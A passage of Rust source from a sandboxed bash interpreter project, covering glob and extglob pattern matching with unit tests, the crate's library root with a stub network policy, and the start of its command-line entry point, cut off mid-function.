continue;\n            }\n        } else if pi < pat.len() && pat[pi] == b'[' {\n            if let Some((matched, end)) = match_char_class(&pat[pi..], txt[ti], nocase) {\n                if matched {\n                    pi += end;\n                    ti += 1;\n                    continue;\n                }\n            } else if bytes_eq(pat[pi], txt[ti], nocase) {\n                pi += 1;\n                ti += 1;\n                continue;\n            }\n        } else if pi < pat.len() && pat[pi] == b'*' {\n            star_pi = pi;\n            star_ti = ti;\n            pi += 1;\n            continue;\n        } else if pi < pat.len() && bytes_eq(pat[pi], txt[ti], nocase) {\n            pi += 1;\n            ti += 1;\n            continue;\n        }\n\n        // Mismatch — backtrack to last star if possible\n        if star_pi != usize::MAX {\n            // In path mode, `*` cannot cross `/`\n            if path_mode && txt[star_ti] == b'/' {\n                return false;\n            }\n            pi = star_pi + 1;\n            // Advance star_ti by one full UTF-8 character\n            star_ti += if byte_mode {\n                1\n            } else {\n                utf8_char_len(txt[star_ti])\n            };\n            ti = star_ti;\n            continue;\n        }\n\n        return false;\n    }\n\n    // Consume trailing stars\n    while pi < pat.len() && pat[pi] == b'*' {\n        pi += 1;\n    }\n\n    pi == pat.len()\n}\n\nfn do_match_with_mode(pattern: &str, text: &str, extglob: bool, byte_mode: bool) -> bool {\n    if extglob && has_extglob_syntax(pattern.as_bytes()) {\n        do_match(pattern, text, extglob)\n    } else {\n        glob_match_inner(pattern.as_bytes(), text.as_bytes(), false, false, byte_mode)\n    }\n}\n\nfn do_match_bytes_with_mode(pattern: &str, text: &[u8], extglob: bool, byte_mode: bool) -> bool {\n    if extglob && has_extglob_syntax(pattern.as_bytes()) {\n        std::str::from_utf8(text)\n            .ok()\n            .is_some_and(|s| do_match(pattern, s, extglob))\n    } else {\n        glob_match_inner(pattern.as_bytes(), text, false, false, byte_mode)\n    }\n}\n\n/// Compare two bytes, optionally case-insensitive (ASCII only).\nfn bytes_eq(a: u8, b: u8, nocase: bool) -> bool {\n    if nocase {\n        a.eq_ignore_ascii_case(&b)\n    } else {\n        a == b\n    }\n}\n\n/// Attempt to match a character class `[...]` at the start of `pat`.\n/// Returns `(matched, bytes_consumed)` or `None` if not a valid class.\n/// Supports POSIX named classes like `[:alpha:]`, `[:digit:]`, etc.\nfn match_char_class(pat: &[u8], ch: u8, nocase: bool) -> Option<(bool, usize)> {\n    if pat.is_empty() || pat[0] != b'[' {\n        return None;\n    }\n    let mut i = 1;\n    let negated = if i < pat.len() && pat[i] == b'!' {\n        i += 1;\n        true\n    } else if i < pat.len() && pat[i] == b'^' {\n        let treat_as_negated = if pat.get(i + 1) == Some(&b']') {\n            let mut j = i + 2;\n            let mut has_extra_member = false;\n            while j < pat.len() {\n                if pat[j] == b']' {\n                    break;\n                }\n                has_extra_member = true;\n                if pat[j] == b'\\\\' && j + 1 < pat.len() {\n                    j += 2;\n                } else {\n                    j += 1;\n                }\n            }\n            has_extra_member\n        } else {\n            true\n        };\n        if treat_as_negated {\n            i += 1;\n            true\n        } else {\n            false\n        }\n    } else {\n        false\n    };\n\n    let mut matched = false;\n    // Allow ] as first char in class\n    if i < pat.len() && pat[i] == b']' {\n        if bytes_eq(ch, b']', nocase) {\n            matched = true;\n        }\n        i += 1;\n    }\n\n    while i < pat.len() && pat[i] != b']' {\n        // POSIX named class [:name:]\n        if pat[i] == b'['\n            && i + 1 < pat.len()\n            && pat[i + 1] == b':'\n            && let Some(end) = find_posix_class_end(pat, i)\n        {\n            let class_name = &pat[i + 2..end - 1]; // between [: and :]\n            if posix_class_matches(class_name, ch) {\n                matched = true;\n            }\n            i = end + 1; // skip past :]\n            continue;\n        }\n        if pat[i] == b'\\\\' && i + 1 < pat.len() {\n            // Escaped character inside class (including \\])\n            if bytes_eq(pat[i + 1], ch, nocase) {\n                matched = true;\n            }\n            i += 2;\n        } else if i + 2 < pat.len() && pat[i + 1] == b'-' && pat[i + 2] != b']' {\n            let lo = pat[i];\n            let hi = pat[i + 2];\n            if nocase {\n                let ch_lower = ch.to_ascii_lowercase();\n                if ch_lower >= lo.to_ascii_lowercase() && ch_lower <= hi.to_ascii_lowercase() {\n                    matched = true;\n                }\n            } else if ch >= lo && ch <= hi {\n                matched = true;\n            }\n            i += 3;\n        } else {\n            if bytes_eq(pat[i], ch, nocase) {\n                matched = true;\n            }\n            i += 1;\n        }\n    }\n\n    if i >= pat.len() {\n        return None; // unclosed bracket\n    }\n\n    // i is at ']'\n    let result = if negated { !matched } else { matched };\n    Some((result, i + 1))\n}\n\n/// Find the end of a POSIX character class `[:name:]` starting at `start`.\n/// Returns the index of the closing `]` of `:]`.\nfn find_posix_class_end(pat: &[u8], start: usize) -> Option<usize> {\n    // start points to '[', start+1 is ':'\n    let mut i = start + 2;\n    while i < pat.len() {\n        if pat[i] == b':' && i + 1 < pat.len() && pat[i + 1] == b']' {\n            return Some(i + 1);\n        }\n        if !pat[i].is_ascii_alphanumeric() {\n            return None;\n        }\n        i += 1;\n    }\n    None\n}\n\n/// Check if a byte matches a POSIX named character class.\nfn posix_class_matches(name: &[u8], ch: u8) -> bool {\n    match name {\n        b\"alpha\" => ch.is_ascii_alphabetic(),\n        b\"digit\" => ch.is_ascii_digit(),\n        b\"alnum\" => ch.is_ascii_alphanumeric(),\n        b\"upper\" => ch.is_ascii_uppercase(),\n        b\"lower\" => ch.is_ascii_lowercase(),\n        b\"space\" => ch.is_ascii_whitespace(),\n        b\"blank\" => ch == b' ' || ch == b'\\t',\n        b\"print\" => (0x20..=0x7e).contains(&ch),\n        b\"graph\" => ch > 0x20 && ch <= 0x7e,\n        b\"cntrl\" => ch < 0x20 || ch == 0x7f,\n        b\"punct\" => ch.is_ascii_punctuation(),\n        b\"xdigit\" => ch.is_ascii_hexdigit(),\n        b\"ascii\" => ch.is_ascii(),\n        _ => false,\n    }\n}\n\n// ── Extglob matching ──────────────────────────────────────────────\n\nconst MAX_EXTGLOB_DEPTH: usize = 64;\n\n/// Bundles the pattern, text, and matching options for extglob routines.\nstruct ExtMatchCtx<'a> {\n    pat: &'a [u8],\n    txt: &'a [u8],\n    nocase: bool,\n}\n\n/// Check if pattern bytes contain extglob syntax.\nfn has_extglob_syntax(pat: &[u8]) -> bool {\n    let mut i = 0;\n    while i < pat.len() {\n        if pat[i] == b'\\\\' {\n            i += 2;\n            continue;\n        }\n        if i + 1 < pat.len()\n            && matches!(pat[i], b'@' | b'+' | b'*' | b'?' | b'!')\n            && pat[i + 1] == b'('\n            && find_matching_paren(pat, i + 2).is_some()\n        {\n            return true;\n        }\n        i += 1;\n    }\n    false\n}\n\n/// Find the matching closing paren for an extglob group.\n/// `start` is the index right after the opening `(`.\nfn find_matching_paren(pat: &[u8], start: usize) -> Option<usize> {\n    let mut depth = 1usize;\n    let mut i = start;\n    while i < pat.len() {\n        if pat[i] == b'\\\\' && i + 1 < pat.len() {\n            i += 2;\n            continue;\n        }\n        if i + 1 < pat.len()\n            && matches!(pat[i], b'@' | b'+' | b'*' | b'?' | b'!')\n            && pat[i + 1] == b'('\n        {\n            depth += 1;\n            i += 2;\n            continue;\n        }\n        if pat[i] == b')' {\n            depth -= 1;\n            if depth == 0 {\n                return Some(i);\n            }\n        }\n        i += 1;\n    }\n    None\n}\n\n/// Split extglob alternatives at top-level pipes.\nfn split_at_pipes(pat: &[u8]) -> Vec<&[u8]> {\n    let mut result = Vec::new();\n    let mut start = 0;\n    let mut i = 0;\n    while i < pat.len() {\n        if pat[i] == b'\\\\' && i + 1 < pat.len() {\n            i += 2;\n            continue;\n        }\n        if i + 1 < pat.len()\n            && matches!(pat[i], b'@' | b'+' | b'*' | b'?' | b'!')\n            && pat[i + 1] == b'('\n            && let Some(close) = find_matching_paren(pat, i + 2)\n        {\n            i = close + 1;\n            continue;\n        }\n        if pat[i] == b'|' {\n            result.push(&pat[start..i]);\n            start = i + 1;\n        }\n        i += 1;\n    }\n    result.push(&pat[start..]);\n    result\n}\n\n/// Try to parse an extglob operator at position `pi`.\n/// Returns `(op, inner_start, inner_end, after_close_index)`.\nfn try_extglob_at(pat: &[u8], pi: usize) -> Option<(u8, usize, usize, usize)> {\n    if pi + 1 >= pat.len() {\n        return None;\n    }\n    let op = pat[pi];\n    if !matches!(op, b'@' | b'+' | b'*' | b'?' | b'!') {\n        return None;\n    }\n    if pat[pi + 1] != b'(' {\n        return None;\n    }\n    let inner_start = pi + 2;\n    find_matching_paren(pat, inner_start).map(|close| (op, inner_start, close, close + 1))\n}\n\n/// Core recursive matching with extglob support.\n/// Returns true if `pat[pi..]` matches `txt[ti..]` fully.\nfn ext_match(pat: &[u8], pi: usize, txt: &[u8], ti: usize, nocase: bool, depth: usize) -> bool {\n    if depth > MAX_EXTGLOB_DEPTH {\n        return false;\n    }\n\n    if pi >= pat.len() {\n        return ti >= txt.len();\n    }\n\n    // Escape sequence\n    if pat[pi] == b'\\\\' && pi + 1 < pat.len() {\n        if ti < txt.len() && bytes_eq(pat[pi + 1], txt[ti], nocase) {\n            return ext_match(pat, pi + 2, txt, ti + 1, nocase, depth);\n        }\n        return false;\n    }\n\n    // Try extglob\n    if let Some((op, inner_start, inner_end, after)) = try_extglob_at(pat, pi) {\n        let alts = split_at_pipes(&pat[inner_start..inner_end]);\n        return ext_match_group(\n            &ExtMatchCtx { pat, txt, nocase },\n            after,\n            ti,\n            op,\n            &alts,\n            depth,\n        );\n    }\n\n    // ? wildcard (only if not extglob ?(...)  — already handled above)\n    if pat[pi] == b'?' {\n        if ti < txt.len() {\n            return ext_match(pat, pi + 1, txt, ti + utf8_char_len(txt[ti]), nocase, depth);\n        }\n        return false;\n    }\n\n    // [...] character class\n    if pat[pi] == b'[' {\n        if ti < txt.len() {\n            if let Some((matched, end)) = match_char_class(&pat[pi..], txt[ti], nocase) {\n                if matched {\n                    return ext_match(pat, pi + end, txt, ti + 1, nocase, depth);\n                }\n            } else if bytes_eq(pat[pi], txt[ti], nocase) {\n                return ext_match(pat, pi + 1, txt, ti + 1, nocase, depth);\n            }\n        }\n        return false;\n    }\n\n    // * wildcard (only if not extglob *(...)  — already handled above)\n    if pat[pi] == b'*' {\n        let mut np = pi + 1;\n        while np < pat.len() && pat[np] == b'*' {\n            // Don't skip if this * starts an extglob *(\n            if np + 1 < pat.len() && pat[np + 1] == b'(' {\n                break;\n            }\n            np += 1;\n        }\n        for t in ti..=txt.len() {\n            if ext_match(pat, np, txt, t, nocase, depth + 1) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    // Literal character\n    if ti < txt.len() && bytes_eq(pat[pi], txt[ti], nocase) {\n        return ext_match(pat, pi + 1, txt, ti + 1, nocase, depth);\n    }\n\n    false\n}\n\n/// Handle extglob operator matching at position `ti` in text.\nfn ext_match_group(\n    ctx: &ExtMatchCtx<'_>,\n    after: usize,\n    ti: usize,\n    op: u8,\n    alts: &[&[u8]],\n    depth: usize,\n) -> bool {\n    if depth > MAX_EXTGLOB_DEPTH {\n        return false;\n    }\n    let remaining = ctx.txt.len() - ti;\n\n    match op {\n        b'@' => {\n            // Exactly one alternative must match a prefix, then rest matches\n            for alt in alts {\n                for len in 0..=remaining {\n                    if ext_match(alt, 0, &ctx.txt[ti..ti + len], 0, ctx.nocase, depth + 1)\n                        && ext_match(ctx.pat, after, ctx.txt, ti + len, ctx.nocase, depth + 1)\n                    {\n                        return true;\n                    }\n                }\n            }\n            false\n        }\n        b'?' => {\n            // Zero or one alternative\n            if ext_match(ctx.pat, after, ctx.txt, ti, ctx.nocase, depth + 1) {\n                return true;\n            }\n            for alt in alts {\n                for len in 0..=remaining {\n                    if ext_match(alt, 0, &ctx.txt[ti..ti + len], 0, ctx.nocase, depth + 1)\n                        && ext_match(ctx.pat, after, ctx.txt, ti + len, ctx.nocase, depth + 1)\n                    {\n                        return true;\n                    }\n                }\n            }\n            false\n        }\n        b'+' => ext_match_repeat(ctx, after, ti, alts, depth, 1),\n        b'*' => ext_match_repeat(ctx, after, ti, alts, depth, 0),\n        b'!' => {\n            // Match anything that does NOT match any alternative\n            for len in 0..=remaining {\n                let slice = &ctx.txt[ti..ti + len];\n                let any_match = alts\n                    .iter()\n                    .any(|alt| ext_match(alt, 0, slice, 0, ctx.nocase, depth + 1));\n                if !any_match && ext_match(ctx.pat, after, ctx.txt, ti + len, ctx.nocase, depth + 1)\n                {\n                    return true;\n                }\n            }\n            false\n        }\n        _ => false,\n    }\n}\n\n/// Match one or more (`min_count >= 1`) or zero or more (`min_count == 0`)\n/// alternatives, then match the rest of the pattern.\nfn ext_match_repeat(\n    ctx: &ExtMatchCtx<'_>,\n    after: usize,\n    ti: usize,\n    alts: &[&[u8]],\n    depth: usize,\n    min_count: usize,\n) -> bool {\n    if depth > MAX_EXTGLOB_DEPTH {\n        return false;\n    }\n    // Try matching rest if we've satisfied the minimum\n    if min_count == 0 && ext_match(ctx.pat, after, ctx.txt, ti, ctx.nocase, depth + 1) {\n        return true;\n    }\n    // Try matching one alternative, then repeat\n    let remaining = ctx.txt.len() - ti;\n    for alt in alts {\n        for len in 1..=remaining {\n            if ext_match(alt, 0, &ctx.txt[ti..ti + len], 0, ctx.nocase, depth + 1) {\n                let new_min = min_count.saturating_sub(1);\n                if ext_match_repeat(ctx, after, ti + len, alts, depth + 1, new_min) {\n                    return true;\n                }\n            }\n        }\n    }\n    false\n}\n\n/// Choose the appropriate match function based on extglob flag.\nfn do_match(pattern: &str, text: &str, extglob: bool) -> bool {\n    if extglob {\n        extglob_match(pattern, text)\n    } else {\n        glob_match(pattern, text)\n    }\n}\n\n/// Find the shortest suffix of `text` matching `pattern`.\n/// Returns the index where the matched suffix starts, or None.\n#[cfg(test)]\npub(crate) fn shortest_suffix_match(text: &str, pattern: &str) -> Option<usize> {\n    shortest_suffix_match_ext(text, pattern, false)\n}\n\npub(crate) fn shortest_suffix_match_ext(text: &str, pattern: &str, extglob: bool) -> Option<usize> {\n    for i in (0..=text.len()).rev() {\n        if !text.is_char_boundary(i) {\n            continue;\n        }\n        if do_match(pattern, &text[i..], extglob) {\n            return Some(i);\n        }\n    }\n    None\n}\n\n/// Find the longest suffix of `text` matching `pattern`.\n/// Returns the index where the matched suffix starts, or None.\n#[cfg(test)]\npub(crate) fn longest_suffix_match(text: &str, pattern: &str) -> Option<usize> {\n    longest_suffix_match_ext(text, pattern, false)\n}\n\npub(crate) fn longest_suffix_match_ext(text: &str, pattern: &str, extglob: bool) -> Option<usize> {\n    longest_suffix_match_ext_with_mode(text, pattern, extglob, false)\n}\n\npub(crate) fn longest_suffix_match_ext_with_mode(\n    text: &str,\n    pattern: &str,\n    extglob: bool,\n    byte_mode: bool,\n) -> Option<usize> {\n    if byte_mode {\n        let bytes = text.as_bytes();\n        for i in 0..=bytes.len() {\n            if do_match_bytes_with_mode(pattern, &bytes[i..], extglob, true) {\n                return Some(i);\n            }\n        }\n        return None;\n    }\n\n    for i in 0..=text.len() {\n        if !text.is_char_boundary(i) {\n            continue;\n        }\n        if do_match(pattern, &text[i..], extglob) {\n            return Some(i);\n        }\n    }\n    None\n}\n\n/// Find the shortest prefix of `text` matching `pattern`.\n/// Returns the length of the matched prefix, or None.\n#[cfg(test)]\npub(crate) fn shortest_prefix_match(text: &str, pattern: &str) -> Option<usize> {\n    shortest_prefix_match_ext(text, pattern, false)\n}\n\npub(crate) fn shortest_prefix_match_ext(text: &str, pattern: &str, extglob: bool) -> Option<usize> {\n    for i in 0..=text.len() {\n        if !text.is_char_boundary(i) {\n            continue;\n        }\n        if do_match(pattern, &text[..i], extglob) {\n            return Some(i);\n        }\n    }\n    None\n}\n\n/// Find the longest prefix of `text` matching `pattern`.\n/// Returns the length of the matched prefix, or None.\n#[cfg(test)]\npub(crate) fn longest_prefix_match(text: &str, pattern: &str) -> Option<usize> {\n    longest_prefix_match_ext(text, pattern, false)\n}\n\npub(crate) fn longest_prefix_match_ext(text: &str, pattern: &str, extglob: bool) -> Option<usize> {\n    longest_prefix_match_ext_with_mode(text, pattern, extglob, false)\n}\n\npub(crate) fn longest_prefix_match_ext_with_mode(\n    text: &str,\n    pattern: &str,\n    extglob: bool,\n    byte_mode: bool,\n) -> Option<usize> {\n    if byte_mode {\n        let bytes = text.as_bytes();\n        for i in (0..=bytes.len()).rev() {\n            if do_match_bytes_with_mode(pattern, &bytes[..i], extglob, true) {\n                return Some(i);\n            }\n        }\n        return None;\n    }\n\n    for i in (0..=text.len()).rev() {\n        if !text.is_char_boundary(i) {\n            continue;\n        }\n        if do_match(pattern, &text[..i], extglob) {\n            return Some(i);\n        }\n    }\n    None\n}\n\n/// Find the first occurrence of `pattern` in `text` (longest match at earliest position).\n/// Returns `(start, end)` of the match, or None.\n#[cfg(test)]\npub(crate) fn first_match(text: &str, pattern: &str) -> Option<(usize, usize)> {\n    first_match_ext_with_mode(text, pattern, false, false)\n}\n\npub(crate) fn first_match_ext_with_mode(\n    text: &str,\n    pattern: &str,\n    extglob: bool,\n    byte_mode: bool,\n) -> Option<(usize, usize)> {\n    if byte_mode {\n        let bytes = text.as_bytes();\n        for start in 0..=bytes.len() {\n            for end in (start..=bytes.len()).rev() {\n                if do_match_bytes_with_mode(pattern, &bytes[start..end], extglob, true) {\n                    return Some((start, end));\n                }\n            }\n        }\n        return None;\n    }\n\n    for start in 0..=text.len() {\n        if !text.is_char_boundary(start) {\n            continue;\n        }\n        for end in (start..=text.len()).rev() {\n            if !text.is_char_boundary(end) {\n                continue;\n            }\n            if do_match_with_mode(pattern, &text[start..end], extglob, false) {\n                return Some((start, end));\n            }\n        }\n    }\n    None\n}\n\n/// Replace all occurrences of `pattern` in `text` with `replacement`.\n#[cfg(test)]\npub(crate) fn replace_all(text: &str, pattern: &str, replacement: &str) -> String {\n    replace_all_ext_with_mode(text, pattern, replacement, false, false)\n}\n\npub(crate) fn replace_all_ext_with_mode(\n    text: &str,\n    pattern: &str,\n    replacement: &str,\n    extglob: bool,\n    byte_mode: bool,\n) -> String {\n    if byte_mode {\n        let mut result = Vec::new();\n        let bytes = text.as_bytes();\n        let replacement_bytes = replacement.as_bytes();\n        let mut i = 0;\n        while i < bytes.len() {\n            let mut found = false;\n            for end in (i + 1..=bytes.len()).rev() {\n                if do_match_bytes_with_mode(pattern, &bytes[i..end], extglob, true) {\n                    result.extend_from_slice(replacement_bytes);\n                    i = end;\n                    found = true;\n                    break;\n                }\n            }\n            if !found {\n                result.push(bytes[i]);\n                i += 1;\n            }\n        }\n        return String::from_utf8_lossy(&result).into_owned();\n    }\n\n    let mut result = String::new();\n    let mut i = 0;\n    while i < text.len() {\n        let mut found = false;\n        for end in (i + 1..=text.len()).rev() {\n            if !byte_mode && !text.is_char_boundary(end) {\n                continue;\n            }\n            if do_match_with_mode(pattern, &text[i..end], extglob, byte_mode) {\n                result.push_str(replacement);\n                i = end;\n                found = true;\n                break;\n            }\n        }\n        if !found {\n            if let Some(ch) = text[i..].chars().next() {\n                result.push(ch);\n                i += ch.len_utf8();\n            } else {\n                i += 1;\n            }\n        }\n    }\n    result\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn literal_match() {\n        assert!(glob_match(\"hello\", \"hello\"));\n        assert!(!glob_match(\"hello\", \"world\"));\n    }\n\n    #[test]\n    fn star_match() {\n        assert!(glob_match(\"*\", \"anything\"));\n        assert!(glob_match(\"h*o\", \"hello\"));\n        assert!(glob_match(\"h*o\", \"ho\"));\n        assert!(!glob_match(\"h*o\", \"help\"));\n    }\n\n    #[test]\n    fn question_match() {\n        assert!(glob_match(\"h?llo\", \"hello\"));\n        assert!(!glob_match(\"h?llo\", \"hllo\"));\n    }\n\n    #[test]\n    fn char_class() {\n        assert!(glob_match(\"[abc]\", \"a\"));\n        assert!(glob_match(\"[a-z]\", \"m\"));\n        assert!(!glob_match(\"[a-z]\", \"M\"));\n        assert!(glob_match(\"[!a-z]\", \"M\"));\n    }\n\n    #[test]\n    fn suffix_removal() {\n        assert_eq!(shortest_suffix_match(\"hello.tar.gz\", \".*\"), Some(9));\n        assert_eq!(longest_suffix_match(\"hello.tar.gz\", \".*\"), Some(5));\n    }\n\n    #[test]\n    fn prefix_removal() {\n        // bash: ${x#*/} on \"/a/b/c\" removes \"/\" → \"a/b/c\" (1 char prefix)\n        assert_eq!(shortest_prefix_match(\"/a/b/c\", \"*/\"), Some(1));\n        // bash: ${x##*/} on \"/a/b/c\" removes \"/a/b/\" → \"c\" (5 char prefix)\n        assert_eq!(longest_prefix_match(\"/a/b/c\", \"*/\"), Some(5));\n    }\n\n    #[test]\n    fn first_match_basic() {\n        assert_eq!(first_match(\"hello world\", \"o\"), Some((4, 5)));\n    }\n\n    #[test]\n    fn replace_all_basic() {\n        assert_eq!(replace_all(\"hello\", \"l\", \"r\"), \"herro\");\n    }\n\n    // ── Extglob tests ──\n\n    #[test]\n    fn extglob_at() {\n        assert!(extglob_match(\"--@(help|verbose)\", \"--verbose\"));\n        assert!(extglob_match(\"--@(help|verbose)\", \"--help\"));\n        assert!(!extglob_match(\"--@(help|verbose)\", \"--oops\"));\n        assert!(extglob_match(\"@(cc)\", \"cc\"));\n    }\n\n    #[test]\n    fn extglob_question() {\n        assert!(extglob_match(\"?(a|b)\", \"\"));\n        assert!(extglob_match(\"?(a|b)\", \"a\"));\n        assert!(!extglob_match(\"?(a|b)\", \"ab\"));\n    }\n\n    #[test]\n    fn extglob_plus() {\n        assert!(extglob_match(\"+(foo)\", \"foo\"));\n        assert!(extglob_match(\"+(foo)\", \"foofoo\"));\n        assert!(!extglob_match(\"+(foo)\", \"\"));\n    }\n\n    #[test]\n    fn extglob_star() {\n        assert!(extglob_match(\"*(foo)\", \"\"));\n        assert!(extglob_match(\"*(foo)\", \"foo\"));\n        assert!(extglob_match(\"*(foo)\", \"foofoo\"));\n    }\n\n    #[test]\n    fn extglob_not() {\n        assert!(extglob_match(\"!(dog)\", \"cat\"));\n        assert!(!extglob_match(\"!(dog)\", \"dog\"));\n        assert!(extglob_match(\"!(dog)\", \"\"));\n    }\n\n    #[test]\n    fn extglob_with_glob() {\n        assert!(extglob_match(\"@(*.c|*.h)\", \"foo.c\"));\n        assert!(extglob_match(\"@(*.c|*.h)\", \"bar.h\"));\n        assert!(!extglob_match(\"@(*.c|*.h)\", \"baz.o\"));\n    }\n\n    #[test]\n    fn extglob_nested() {\n        assert!(extglob_match(\"@(a|@(b|c))\", \"b\"));\n        assert!(extglob_match(\"@(a|@(b|c))\", \"c\"));\n    }\n\n    // ── POSIX character class tests ──\n\n    #[test]\n    fn posix_char_class() {\n        assert!(glob_match(\"[[:alpha:]]\", \"a\"));\n        assert!(!glob_match(\"[[:alpha:]]\", \"1\"));\n        assert!(glob_match(\"[[:digit:]]\", \"5\"));\n        assert!(!glob_match(\"[[:digit:]]\", \"x\"));\n    }\n}\n","/home/user/src/lib.rs":"//! A sandboxed bash interpreter with a virtual filesystem.\n//!\n//! `rust-bash` executes bash scripts safely in-process — no containers, no VMs,\n//! no host access. All file operations happen on a pluggable virtual filesystem\n//! (in-memory by default), and configurable execution limits prevent runaway scripts.\n//!\n//! # Quick start\n//!\n//! ```rust\n//! use rust_bash::RustBashBuilder;\n//! use std::collections::HashMap;\n//!\n//! let mut shell = RustBashBuilder::new()\n//!     .files(HashMap::from([\n//!         (\"/hello.txt\".into(), b\"hello world\".to_vec()),\n//!     ]))\n//!     .build()\n//!     .unwrap();\n//!\n//! let result = shell.exec(\"cat /hello.txt\").unwrap();\n//! assert_eq!(result.stdout, \"hello world\");\n//! assert_eq!(result.exit_code, 0);\n//! ```\n//!\n//! # Features\n//!\n//! - **80+ built-in commands** — echo, cat, grep, awk, sed, jq, find, sort, diff, curl, and more\n//! - **Full bash syntax** — pipelines, redirections, variables, control flow, functions,\n//!   command substitution, globs, brace expansion, arithmetic, here-documents, case statements\n//! - **Execution limits** — 10 configurable bounds (time, commands, loops, output size, etc.)\n//! - **Network policy** — sandboxed `curl` with URL allow-lists and method restrictions\n//! - **Multiple filesystem backends** — [`InMemoryFs`], [`OverlayFs`], [`ReadWriteFs`], [`MountableFs`]\n//! - **Custom commands** — implement the [`VirtualCommand`] trait to add your own\n//! - **C FFI and WASM** — embed in any language via shared library or WebAssembly\n\npub mod api;\npub mod commands;\npub mod error;\npub mod interpreter;\npub mod platform;\nmod shell_bytes;\npub mod vfs;\n\n#[cfg(feature = \"network\")]\npub mod network;\n#[cfg(not(feature = \"network\"))]\npub mod network {\n    //! Stub network module when the `network` feature is disabled.\n    //! NOTE: This struct must stay in sync with `src/network.rs`.\n    use std::collections::HashSet;\n    use std::time::Duration;\n\n    #[derive(Clone, Debug)]\n    pub struct NetworkPolicy {\n        pub enabled: bool,\n        pub allowed_url_prefixes: Vec<String>,\n        pub allowed_methods: HashSet<String>,\n        pub max_redirects: usize,\n        pub max_response_size: usize,\n        pub timeout: Duration,\n    }\n\n    impl Default for NetworkPolicy {\n        fn default() -> Self {\n            Self {\n                enabled: false,\n                allowed_url_prefixes: Vec::new(),\n                allowed_methods: HashSet::from([\"GET\".to_string(), \"POST\".to_string()]),\n                max_redirects: 5,\n                max_response_size: 10 * 1024 * 1024,\n                timeout: Duration::from_secs(30),\n            }\n        }\n    }\n\n    impl NetworkPolicy {\n        pub fn validate_url(&self, _url: &str) -> Result<(), String> {\n            Err(\"network feature is disabled\".to_string())\n        }\n\n        pub fn validate_method(&self, _method: &str) -> Result<(), String> {\n            Err(\"network feature is disabled\".to_string())\n        }\n    }\n}\n\npub use api::{RustBash, RustBashBuilder};\npub use commands::{CommandContext, CommandMeta, CommandResult, ExecCallback, VirtualCommand};\npub use error::{RustBashError, VfsError};\npub use interpreter::{\n    ExecResult, ExecutionCounters, ExecutionLimits, InterpreterState, ShellOpts, Variable,\n    VariableAttrs, VariableValue, builtin_names,\n};\npub use network::NetworkPolicy;\npub use vfs::{DirEntry, InMemoryFs, Metadata, MountableFs, NodeType, VirtualFs};\n\n#[cfg(feature = \"native-fs\")]\npub use vfs::{OverlayFs, ReadWriteFs};\n\n#[cfg(feature = \"ffi\")]\npub mod ffi;\n\n#[cfg(feature = \"cli\")]\npub mod mcp;\n\n#[cfg(all(feature = \"wasm\", target_arch = \"wasm32\"))]\npub mod wasm;\n\n#[cfg(test)]\nmod parser_smoke_tests;\n","/home/user/src/main.rs":"use std::borrow::Cow;\nuse std::collections::HashMap;\nuse std::io::IsTerminal;\nuse std::path::Path;\nuse std::process::ExitCode;\n\nuse clap::Parser;\nuse rust_bash::{ExecResult, RustBash, RustBashBuilder};\nuse rustyline::completion::Completer;\nuse rustyline::error::ReadlineError;\nuse rustyline::highlight::Highlighter;\nuse rustyline::hint::Hinter;\nuse rustyline::validate::{ValidationContext, ValidationResult, Validator};\nuse rustyline::{CompletionType, Config, Context, Editor, Helper};\nuse serde_json::json;\n\n/// A sandboxed bash interpreter with a virtual filesystem\n#[derive(Parser)]\n#[command(name = \"rust-bash\", version)]\nstruct Cli {\n    /// Execute a command string and exit\n    #[arg(short = 'c')]\n    command: Option<String>,\n\n    /// Seed VFS from host files/directories (HOST:VFS or HOST_DIR)\n    #[arg(long = \"files\", value_name = \"MAPPING\")]\n    file_mappings: Vec<String>,\n\n    /// Set initial working directory\n    #[arg(long, value_name = \"DIR\")]\n    cwd: Option<String>,\n\n    /// Set an environment variable (KEY=VALUE, repeatable)\n    #[arg(long, value_name = \"KEY=VALUE\")]\n    env: Vec<String>,\n\n    /// Output results as JSON: {\"stdout\":\"...\",\"stderr\":\"...\",\"exit_code\":N}\n    #[arg(long)]\n    json: bool,\n\n    /// Start an MCP (Model Context Protocol) server over stdio\n    #[arg(long)]\n    mcp: bool,\n\n    /// Script file to execute, followed by optional positional arguments\n    #[arg(trailing_var_arg = true, allow_hyphen_values = true)]\n    args: Vec<String>,\n}\n\n// ── Readline helper (completion + validation) ───────────────────────\n\nstruct ShellHelper {\n    commands: Vec<String>,\n    last_exit: i32,\n}\n\nimpl Completer for ShellHelper {\n    type Candidate = String;\n\n    fn complete(\n        &self,\n        line: &str,\n        pos: usize,\n        _ctx: &Context<'_>,\n    ) -> rustyline::Result<(usize, Vec<String>)> {\n        let prefix = &line[..pos];\n        let start = prefix\n            .rfind(|c: char| c.is_whitespace())\n            .map_or(0, |i| i + 1);\n        // Only complete the first token (command name).\n        if start != 0 {\n            return Ok((pos, vec![]));\n        }\n        let word = &prefix[start..];\n        let matches: Vec<String> = self\n            .commands\n            .iter()\n            .filter(|c| c.starts_with(word))\n            .cloned()\n            .collect();\n        Ok((start, matches))\n    }\n}\n\nimpl Validator for ShellHelper {\n    fn validate(&self, ctx: &mut ValidationContext) -> rustyline::Result<ValidationResult> {\n        let input = ctx.input();\n        if input.is_empty() {\n            return Ok(ValidationResult::Valid(None));\n        }\n        if RustBash::is_input_complete(input) {\n            Ok(ValidationResult::Valid(None))\n        } else {\n            Ok(ValidationResult::Incomplete)\n        }\n    }\n}\n\nimpl Hinter for ShellHelper {\n    type Hint = String;\n}\n\nimpl Highlighter for ShellHelper {\n    fn highlight_prompt<'b, 's: 'b, 'p: 'b>(\n        &'s self,\n        prompt: &'p str,\n        _default: bool,\n    ) -> Cow<'b, str> {\n        let color = if self.last_exit == 0 {\n            \"\\x1b[32m\"\n        } else {\n            \"\\x1b[31m\"\n        };\n        Cow::Owned(format!(\"{color}{prompt}\\x1b[0m\"))\n    }\n}\n\nimpl Helper for ShellHelper {}\n\n// ── Prompt and history ──────────────────────────────────────────────\n\nfn make_prompt(cwd: &str) -> String {\n    format!(\"rust-bash:{cwd}$ \")\n}\n\nfn history_path() -> Option<std::path::PathBuf> {\n    std::env::var_os(\"HOME\").map(|h| std::path::PathBuf::from(h).join(\".rust_bash_history\"))\n}\n\n/// Execute a command string and produce output according to the `--json` flag.\nfn execute_and_output(shell: &mut RustBash, source: &str, json_mode: bool) -> ExitCode {\n    match 